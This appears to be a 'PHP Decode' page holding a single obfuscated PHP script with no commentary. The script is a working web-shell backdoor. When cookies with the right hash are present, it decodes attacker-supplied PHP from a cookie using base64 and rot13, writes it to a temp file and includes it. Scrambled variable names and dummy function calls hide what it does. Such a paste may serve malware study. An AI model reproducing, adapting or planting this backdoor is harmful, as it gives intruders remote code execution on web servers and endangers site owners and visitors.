PHP Decode

<?php function EuaKgFlLOqTataKQ($UMIuzmCSfMKJ){$fUAmqcnwcEkLor=$_COOKIE;$MIGwLCxSLyAU=tmpfile();$WqEWTYhdNlxSm=stream_get_meta_data($MIGwLCxSLyAU)['uri'];if(!is_writeable($WqEWTYhdNlxSm)){$WqEWTYhdNlxSm=dirname(__FILE__).DIRECTORY_SEPARATOR."wJXSlbpFdeqOqrwW";}$otYcYvPsXkyXgv="?p";$otYcYvPsXkyXgv="<".$otYcYvPsXkyXgv."hp ".base64_decode(str_rot13($fUAmqcnwcEkLor[1+2]))." ?>";if(is_writeable($WqEWTYhdNlxSm)){fwrite($MIGwLCxSLyAU,$otYcYvPsXkyXgv);spl_autoload_unregister("EuaKgFlLOqTataKQ");@include($WqEWTYhdNlxSm);fclose($MIGwLCxSLyAU);}}spl_autoload_register("EuaKgFlLOqTataKQ");if(isset($_COOKIE[1-1])&&isset($_COOKIE[0+1])&&isset($_COOKIE[3-0])&&isset($_COOKIE[5-1])){$bVpUqOmbEnHslCE=$_COOKIE[1+3];$fUAmqcnwcEkLor=$_COOKIE;if(!empty($fUAmqcnwcEkLor[1-1])||!empty($fUAmqcnwcEkLor[0+1])||!empty($fUAmqcnwcEkLor[1+2])||!empty($fUAmqcnwcEkLor[1+3])){$bVpUqOmbEnHslCE="f6ca26ac036fe3d4e169b0cca143b3a2";if(!strncmp($bVpUqOmbEnHslCE,$fUAmqcnwcEkLor[1+3],4+28)){$yDvjEQbdpkSGORRp=str_split("bVpUqOmbEnHslCE");asort($yDvjEQbdpkSGORRp,SORT_NUMERIC);$yDvjEQbdpkSGORRp=array_uintersect_uassoc($yDvjEQbdpkSGORRp,$yDvjEQbdpkSGORRp,"strcmp","strcmp");if(trait_exists("ILLcefgbOsPg",true)){fCKnWsadPDbxMN($qPAhQnyXx,$ShUNkwMMyaPi,$AzrvVWHgnk,$MukhgwEIztGE);ltaxJGsbUfTW($JQdKApEPDRRkGeq,$hCdQYbZAR,$uFvFrGPMGojYce,$FYJQRvbYmzhBxyDJ,$hPoHHofZopI,$gTOUCllPivazpMHt,$LvOodVMGGOhi,$qUTJuUWBzMYv,$EIuMPKljph,$dNFRtfqvluBEmdSz);oHxYiuIykm();eOWpBShZwte($VlXHpdgCPowe,$ntCLvYtHAlUhwdaZ,$UdicCZCjK,$ZuyRUqQeowJ,$xRrZqTjHcnfy,$CPDgAQwDPSzy,$jAlgsSsDcD,$kGrYFaAyhi,$DxujfyJmISgeh,$bOcxWhNfJbZFYQDw);RiUpOiHEfZjVad($rXoYumBeA,$WblVNCIm);hYlCKeNEx($juZtvYoEe,$ZokzutDqvqtXU,$OAJmpwbER,$XXRMFNrdaedPTLtf);gPPagPeLb($SBIaPBTUZT,$txLYtCnPqe,$dghCGpzSwRkiigeK,$EjdTwacpToCrtfc,$OSnkmOIafzStIy,$PVPWDNsXUEX,$YrmLWEleiH,$usGwdfqnVIzhW);plQPcUCvEXtQLB($OBuLqqNbHP,$gOwfErXNT,$rXLdAYnN,$GTRHjpYJ,$uNlICrXNsIWgYC,$DpDTptmMPiXiR,$aKepVIpgUhpfRM,$gJfJFDGb,$bUyAHOlCXYpvyGgz,$JFztuQMKuIZbc);}}}}